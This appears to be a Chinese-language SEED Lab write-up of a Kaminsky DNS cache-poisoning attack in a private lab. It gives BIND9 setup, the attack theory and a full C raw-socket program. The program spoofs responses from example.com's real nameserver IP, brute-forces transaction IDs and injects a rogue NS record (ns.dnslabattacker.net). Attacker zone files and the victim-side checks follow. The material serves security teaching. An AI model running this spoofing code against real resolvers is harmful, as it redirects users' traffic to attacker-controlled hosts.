SeedLab:Remote DNS Attack

实验环境:

服务器ip:192.168.86.139

Victim ip: 192.168.86.137

Attacker ip:192.168.86.138

准备工作:

  1. 安装bind9服务器:

    • bind9官网 下载bind9,在此下载的是bind9.10.4

    • 解压文件tar -xzvf bin9.10.4.tar.gz

    • cd bin9.10.4,并./configure –prefix=/usr/local/bind-9.9.0 –enable-threads –disable-openssl-version-check –sysconfdir=/etc –with-libtool –without-openssl

    • 由于没有安装openssl,所以在最后的选项中加入–without-openssl

    • make & make install

    • ln –sv /usr/local/bind-9.9.0 /usr/local/bind 软连接

    • 在服务器中开启 sudo rndc flush // 刷新cache

    • sudo rndc dumpdb -cache // 将cache dump到dump.db

  2. 开启bind9服务:sudo service bind9 start

  3. 用户机器配置:

  • vi /etc/resolv.conf,修改nameserve 192.168.86.138(DNS服务器地址)

  • 在ubuntu中,/etc/resolv.conf可能被DHCP客户端更改,所以需要将DHCP关闭,具体做法如下:settings->network->options->IPV4 Settings,设置method为Automatically DHCP addresses only, 并在DNS servers处填写为DNS服务器地址

  1. 查看用户机是否将dns服务器配置成功:打开wireshark,并在该机器中ping www.google.com,在wireshark的筛选规则中填写dns,查看抓包情况:

实验步骤:

实验一:Kaminsky攻击

攻击准备:

  • 确认攻击机器的连接方式是NAT

  • 由于DNS的服务器端口可能不确定,在此将服DNS服务器的端口设置为33333,具体设置如下:vi /etc/bind/named.conf.options,添加query-source port 33333;

  • 将DNS服务器的DNSSEC策略关闭,具体设置如下:vi /etc/bind/named.conf.options,找到dnssec-validation auto;,将其注释掉,并添加dnssec-enable no;

  • 刷新dns cache,并从其dns服务:

1
2
sudo rndc flush
sudo service bind9 restart

实验原理:

(1)攻击者向被攻击的本地缓存DNS发送一个域名的DNS 查询请求,该查询请求中的域名主机使用随机序列和目标域名的组合。
例如www123456.test.com,其中ns2.test.com为目标域名,www123456是随机生成的。很显然,这个查询的域名主机记录在test.com的权威DNS中是不存在的。正常test.com的权威DNS要返回NXDOMIAN(代表域名不存在)。换句话说就是本地缓存DNS中肯定没有www123456.test.com的缓存记录,本地缓存DNS接收到这个域名查询请求后肯定是要出去迭代请求的。

(2)攻击者伪造test.com的权威DNS应答数据包中,应答资源记录部分与正确应答包中部分是与正常结果一样的,比如test.com的DNS的IP地址、UDP端口号、应答结果是NXDOMAIN。
但是,在应答报文中的授权资源记录部分,攻击者伪造一个test.com的NS记录为ns2.test.com,且该记录对应的A记录IP是2.2.2.2(可能是一个钓鱼网站的IP)。那么该资源记录信息将也被写入本地缓存DNS的Cache 中,在Cache 保持时间内,对test.com名字服务器所管辖的所有域名的查询都将被发送到攻击者自己控制的IP(2.2.2.2)中。

具体攻击过程:

找到example.com域名服务器的ip地址

在攻击者机器上ping www.example.com,用wireshark抓包有如下这个数据包,该数据包是从199.43.133.53的ip地址回复的example.com包的查询。所以需要伪造的ip地址为199.43.133.53。

构造回复包

在此主要介绍构造DNS域的包的过程。

DNS包的结果如上图所示:在此介绍构造每一个域的过程。

DNS头有16个字节,分别是标识ID,标志,问题数,资源数,授权资源记录数,额外资源记录数,结果如下所示:

1
2
3
4
5
6
7
8
   struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
  • 其中标志ID为DNS报文的ID,对于相关联的请求报文和应答报文,这个字段是相同的,由此可以区分DNS应答报文是哪个请求报文的响应。由于不知道dns请求199.43.133.53时的ID号,所以在此将id号从3000到3100,每个id号都构造一个包。’

  • 对于flags来说,根据wireshark抓包可知,大小为0x8400

  • 随后的8个字节,由wireshark抓包可得,这四个域都为1。

  • 随后就是将查询问题的内容给加进去,由于源程序给了构造查询问题的步骤,所以,现在直接将其构造的内容加进去即可。

  • Dns查询域名的结果的构造,如下图所示,该域主要是回答了www.example.com的ip地址和以及类型和类,该出类型为A,表示是由域名获得该域名的IP地址,类为IN,表示表示为Internet名字空间。所以在构造该域的时候可以将ip地址改了,我在该实验中将ip地址改为了1.2.3.4

  • 接下来是要构造域名服务器,也是要构造的重点,由wireshark抓包得:

该域主要有Name,Type,Class,TTL,Data length和NS构成,其中Type为NS表示为Name Server,即域名服务器,TTL为该记录的有效时间, Name表示主域名。所以我在此构造将Name Server改为了ns.dnslabattacker.net。

  • 接下来就是一些额外的信息,由wireshark抓包如下图所示:

写具体的程序进行攻击

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
 // ----udp.c------
// This sample program must be run by root lol!
//
// The program is to spoofing tons of different queries to the victim.
// Use wireshark to study the packets. However, it is not enough for
// the lab, please finish the response packet and complete the task.
//
// Compile command:
// gcc -lpcap udp.c -o udp
//
//

#include <unistd.h>

#include <stdio.h>

#include <sys/socket.h>

#include <netinet/ip.h>

#include <netinet/udp.h>
#include <fcntl.h>
#include <string.h>
#include <errno.h>
#include <stdlib.h>
#include <libnet.h>
// The packet length

#define PCKT_LEN 8192
#define FLAG_R 0x8400
#define FLAG_Q 0x0100



// Can create separate header file (.h) for all headers' structure

// The IP header's structure

struct ipheader {

unsigned char iph_ihl:4, iph_ver:4;

unsigned char iph_tos;

unsigned short int iph_len;

unsigned short int iph_ident;

// unsigned char iph_flag;

unsigned short int iph_offset;

unsigned char iph_ttl;

unsigned char iph_protocol;

unsigned short int iph_chksum;

unsigned int iph_sourceip;

unsigned int iph_destip;

};



// UDP header's structure

struct udpheader {

unsigned short int udph_srcport;

unsigned short int udph_destport;

unsigned short int udph_len;

unsigned short int udph_chksum;

};
struct dnsheader {
unsigned short int query_id;
unsigned short int flags;
unsigned short int QDCOUNT;
unsigned short int ANCOUNT;
unsigned short int NSCOUNT;
unsigned short int ARCOUNT;
};
// This structure just for convinience in the DNS packet, because such 4 byte data often appears.
struct dataEnd{
unsigned short int type;
unsigned short int class;
};
// total udp header length: 8 bytes (=64 bits)
// structure to hold the answer end section
struct ansEnd{
//char* name;
unsigned short int type;
//char* type;
unsigned short int class;
//char* class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
};

// structure to hold the authorative nameserver end section
struct nsEnd{
//char* name;
unsigned short int type;
unsigned short int class;
//unsigned int ttl;
unsigned short int ttl_l;
unsigned short int ttl_h;
unsigned short int datalen;
//unsigned int ns;
};



unsigned int checksum(uint16_t *usBuff, int isize)
{
unsigned int cksum=0;
for(;isize>1;isize-=2){
cksum+=*usBuff++;
}
if(isize==1){
cksum+=*(uint16_t *)usBuff;
}


return (cksum);
}

// calculate udp checksum
uint16_t check_udp_sum(uint8_t *buffer, int len)
{
unsigned long sum=0;
struct ipheader *tempI=(struct ipheader *)(buffer);
struct udpheader *tempH=(struct udpheader *)(buffer+sizeof(struct ipheader));
struct dnsheader *tempD=(struct dnsheader *)(buffer+sizeof(struct ipheader)+sizeof(struct udpheader));
tempH->udph_chksum=0;
sum=checksum( (uint16_t *) &(tempI->iph_sourceip) ,8 );
sum+=checksum((uint16_t *) tempH,len);

sum+=ntohs(IPPROTO_UDP+len);


sum=(sum>>16)+(sum & 0x0000ffff);
sum+=(sum>>16);

return (uint16_t)(~sum);

}
// Function for checksum calculation. From the RFC,

// the checksum algorithm is:

// "The checksum field is the 16 bit one's complement of the one's

// complement sum of all 16 bit words in the header. For purposes of

// computing the checksum, the value of the checksum field is zero."

unsigned short csum(unsigned short *buf, int nwords)

{ //

unsigned long sum;

for(sum=0; nwords>0; nwords--)

sum += *buf++;

sum = (sum >> 16) + (sum &0xffff);

sum += (sum >> 16);

return (unsigned short)(~sum);

}



//构造的回复包
int response(char* request_url, char* src_addr, char* dest_addr)
{

// socket号
int sd;

// 包的buffer
char buffer[PCKT_LEN];

// 将buffer初始化为0
memset(buffer, 0, PCKT_LEN);

// 初始化包头地址
struct ipheader *ip = (struct ipheader *) buffer;
struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));
struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));

// data内容的指针
char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));
//dns的flag位



///////////////////////////构造dns包////////////////////////////////////
dns->flags=htons(FLAG_R);
dns->QDCOUNT=htons(1);
dns->ANCOUNT=htons(1);
dns->NSCOUNT=htons(1);
dns->ARCOUNT = htons(1);


//查询的内容
strcpy(data,request_url);
int length= strlen(data)+1;


struct dataEnd * end=(struct dataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);

//回复的内容
char *ans=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length);

strcpy(ans,request_url);
int anslength= strlen(ans)+1;

struct ansEnd * ansend=(struct ansEnd *)(ans+anslength);
ansend->type = htons(1);
ansend->class=htons(1);
ansend->ttl_l=htons(0x00);
ansend->ttl_h=htons(0xFFFF); //tll,即有效的时间
ansend->datalen=htons(4); //回复的内容的长度

char *ansaddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength);

strcpy(ansaddr,"\1\2\3\4");
int addrlen = strlen(ansaddr);

//ns域名服务器
char *ns =(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen);
strcpy(ns,"\7example\3com");
int nslength= strlen(ns)+1;

struct nsEnd * nsend=(struct nsEnd *)(ns+nslength);
nsend->type=htons(2);
nsend->class=htons(1);
nsend->ttl_l=htons(0x00);
nsend->ttl_h=htons(0xFFFF); //tll,即有效的时间
//数据的长度,为nsname的长度+1
nsend->datalen=htons(23);

char *nsname=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength);

//伪造的域名服务器
strcpy(nsname,"\2ns\16dnslabattacker\3net");
int nsnamelen = strlen(nsname)+1;

//额外的信息
char *ar=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen);
strcpy(ar,"\2ns\16dnslabattacker\3net");
int arlength = strlen(ar)+1;
struct ansEnd* arend = (struct ansEnd*)(ar + arlength);
arend->type = htons(1);
arend->class=htons(1);
arend->ttl_l=htons(0x00);
arend->ttl_h=htons(0xFFFF);
arend->datalen=htons(4);
char *araddr=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader)+sizeof(struct dataEnd)+length+sizeof(struct ansEnd)+anslength+addrlen+sizeof(struct nsEnd)+nslength+nsnamelen+arlength+sizeof(struct ansEnd));

strcpy(araddr,"\1\2\3\4");
int araddrlen = strlen(araddr);

/////////////////////dns包的构造到此完毕///////////////////////////////

//构造ip包

struct sockaddr_in sin, din;

int one = 1;

const int *val = &one;

sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


if(sd<0 )
printf("socket error\n");



sin.sin_family = AF_INET;

din.sin_family = AF_INET;

//端口号

sin.sin_port = htons(33333);

din.sin_port = htons(53);

//IP地址

sin.sin_addr.s_addr = inet_addr(src_addr);

din.sin_addr.s_addr = inet_addr("199.43.133.53"); //example.com的域名服务器的地址,可通过抓包获得


ip->iph_ihl = 5;


ip->iph_ver = 4;


ip->iph_tos = 0;


unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // length + dataEnd_size == UDP_payload_size

ip->iph_len=htons(packetLength);

ip->iph_ident = htons(rand());


ip->iph_ttl = 110;

ip->iph_protocol = 17; // UDP

//该地值需要抓包确定

ip->iph_sourceip = inet_addr("199.43.133.53");

// The destination IP address

ip->iph_destip = inet_addr(src_addr);



// Fabricate the UDP header. Source port number, redundant

udp->udph_srcport = htons(53); // source port number, I make them random... remember the lower number may be reserved

// Destination port number

udp->udph_destport = htons(33333);


udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)+anslength+sizeof( struct ansEnd)+nslength+sizeof(struct nsEnd)+addrlen+nsnamelen+arlength+sizeof(struct ansEnd)+araddrlen); // udp_header_size + udp_payload_size

// Calculate the checksum for integrity//

ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));


udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));


// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
printf("error\n");
exit(-1);
}




int count = 0;
int trans_id = 3000;
while(count < 100){


// This is to generate different query in xxxxx.example.edu
/* int charnumber;
charnumber=1+rand()%5;
*(data+charnumber)+=1;
*/
//dns->query_id=rand();
dns->query_id=trans_id+count;
udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
// recalculate the checksum for the UDP packet

// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
count++;
}
close(sd);

return 0;

}








int main(int argc, char *argv[])
{



// This is to check the argc number
if(argc != 3){

printf("- Invalid parameters!!!\nPlease enter 2 ip addresses\nFrom first to last:src_IP dest_IP \n");

exit(-1);

}


// socket descriptor
int sd;

// buffer to hold the packet
char buffer[PCKT_LEN];

// set the buffer to 0 for all bytes
memset(buffer, 0, PCKT_LEN);

// Our own headers' structures

struct ipheader *ip = (struct ipheader *) buffer;


struct udpheader *udp = (struct udpheader *) (buffer + sizeof(struct ipheader));


struct dnsheader *dns=(struct dnsheader*) (buffer +sizeof(struct ipheader)+sizeof(struct udpheader));

// data is the pointer points to the first byte of the dns payload
char *data=(buffer +sizeof(struct ipheader)+sizeof(struct udpheader)+sizeof(struct dnsheader));



////////////////////////////////////////////////////////////////////////
// dns fields(UDP payload field)
// relate to the lab, you can change them. begin:
////////////////////////////////////////////////////////////////////////

//The flag you need to set

dns->flags=htons(FLAG_Q);
//only 1 query, so the count should be one.
dns->QDCOUNT=htons(1);



//query string
strcpy(data,"\5abcde\7example\3com");
int length= strlen(data)+1;



//this is for convinience to get the struct type write the 4bytes in a more organized way.

struct dataEnd * end=(struct dataEnd *)(data+length);
end->type=htons(1);
end->class=htons(1);





/////////////////////////////////////////////////////////////////////
//
// DNS format, relate to the lab, you need to change them, end
//
//////////////////////////////////////////////////////////////////////










/*************************************************************************************
Construction of the packet is done.
now focus on how to do the settings and send the packet we have composed out
***************************************************************************************/
// Source and destination addresses: IP and port

struct sockaddr_in sin, din;

int one = 1;

const int *val = &one;

dns->query_id=rand(); // transaction ID for the query packet, use random #




// Create a raw socket with UDP protocol

sd = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);


if(sd<0 ) // if socket fails to be created
printf("socket error\n");


// The source is redundant, may be used later if needed

// The address family

sin.sin_family = AF_INET;

din.sin_family = AF_INET;

// Port numbers

sin.sin_port = htons(33333);

din.sin_port = htons(53);

// IP addresses

sin.sin_addr.s_addr = inet_addr(argv[2]); // this is the second argument we input into the program

din.sin_addr.s_addr = inet_addr(argv[1]); // this is the first argument we input into the program



// Fabricate the IP header or we can use the

// standard header structures but assign our own values.

ip->iph_ihl = 5;


ip->iph_ver = 4;


ip->iph_tos = 0; // Low delay


unsigned short int packetLength =(sizeof(struct ipheader) + sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // length + dataEnd_size == UDP_payload_size

ip->iph_len=htons(packetLength);

ip->iph_ident = htons(rand()); // we give a random number for the identification#


ip->iph_ttl = 110; // hops

ip->iph_protocol = 17; // UDP

// Source IP address, can use spoofed address here!!!

ip->iph_sourceip = inet_addr(argv[1]);

// The destination IP address

ip->iph_destip = inet_addr(argv[2]);



// Fabricate the UDP header. Source port number, redundant

udp->udph_srcport = htons(33333); // source port number, I make them random... remember the lower number may be reserved

// Destination port number

udp->udph_destport = htons(53);


udp->udph_len = htons(sizeof(struct udpheader)+sizeof(struct dnsheader)+length+sizeof(struct dataEnd)); // udp_header_size + udp_payload_size

// Calculate the checksum for integrity//

ip->iph_chksum = csum((unsigned short *)buffer, sizeof(struct ipheader) + sizeof(struct udpheader));


udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader));
/*******************************************************************************8
Tips

the checksum is quite important to pass the checking integrity. You need
to study the algorithem and what part should be taken into the calculation.

!!!!!If you change anything related to the calculation of the checksum, you need to re-
calculate it or the packet will be dropped.!!!!!

Here things became easier since I wrote the checksum function for you. You don't need
to spend your time writing the right checksum function.
Just for knowledge purpose,
remember the seconed parameter
for UDP checksum:
ipheader_size + udpheader_size + udpData_size
for IP checksum:
ipheader_size + udpheader_size
*********************************************************************************/

// Inform the kernel do not fill up the packet structure. we will build our own...
if(setsockopt(sd, IPPROTO_IP, IP_HDRINCL, val, sizeof(one))<0 )
{
printf("error\n");
exit(-1);
}


while(1){


// This is to generate different query in xxxxx.example.edu
int charnumber;
charnumber=1+rand()%5;
*(data+charnumber)+=1;

udp->udph_chksum=check_udp_sum(buffer, packetLength-sizeof(struct ipheader)); // recalculate the checksum for the UDP packet

// send the packet out.
if(sendto(sd, buffer, packetLength, 0, (struct sockaddr *)&sin, sizeof(sin)) < 0)
printf("packet send error %d which means %s\n",errno,strerror(errno));
sleep(0.9);
response(data, argv[2], argv[1]);
}
close(sd);

return 0;

}

在Attacker机器中构造查询信息,随机生成xxxx.example.com的域名,其中xxxx是随机生成的,该目的就是生成不存在的域名,然后while循环,向域名服务器发送查询xxxx.example.com域名的请求,紧接着发送伪造的回复的包。

sudo rndc dumpdb -cache之后查看/etc/bind/dump.db文件的结果如下:

实验二:结果的确认

使用假域名

  • 配置攻击者机器为dns服务器,配置过程和上一个dns服务器过程一致。

  • 在Apollo服务器上配置ns.dnslabattacker.net的解析。

具体配置如下:
首先在/etc/bind/name.conf.default-zones中配置zone信息:

1
2
3
4
zone “ns.dnslabattacker.net”
{ type master:
file “/etc/bind/db.attacker”;
};

表明具体的解析文件在/etc/bind/db.attacker中,该文件具体内容如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA localhost. root.localhost. (
2 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
@ IN NS ns.dnslabattacker.net.
@ IN A 192.168.86.138
@ IN AAAA ::1

其中192.168.86.138为攻击者机器的地址。
给db.attacker文件加权限chmod 644 db.attacker

  • 在攻击者机器上配置example.com域名的解析,首先在/etc/bind/name/conf中添加如下信息:
1
2
3
4
zone “example.com” {
type master;
file “/etc/bind/example.com.db”;
};

然后再创建/etc/bind/example.com.db文件,内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$TTL 3D
@ IN SOA ns.example.com. admin.example.com. (
2008111001
8H
2H
4W
1D)

@ IN NS ns.dnslabattacker.net.
@ IN MX 10 mail.example.com.

www IN A 1.2.3.4
mail IN A 1.2.3.2
*.example.com. IN A 1.2.3.100

给example.com.db文件加权限,chmod 644 example.com.db。

  • 在victim机器中dig www.example.com,结果如下,解析了exmaple.com的ip地址为1.2.3.4,域名服务器为ns.dnslabattacker.net

在victim中ping www.example.com,结果如下:

其访问的是1.2.3.4的ip地址。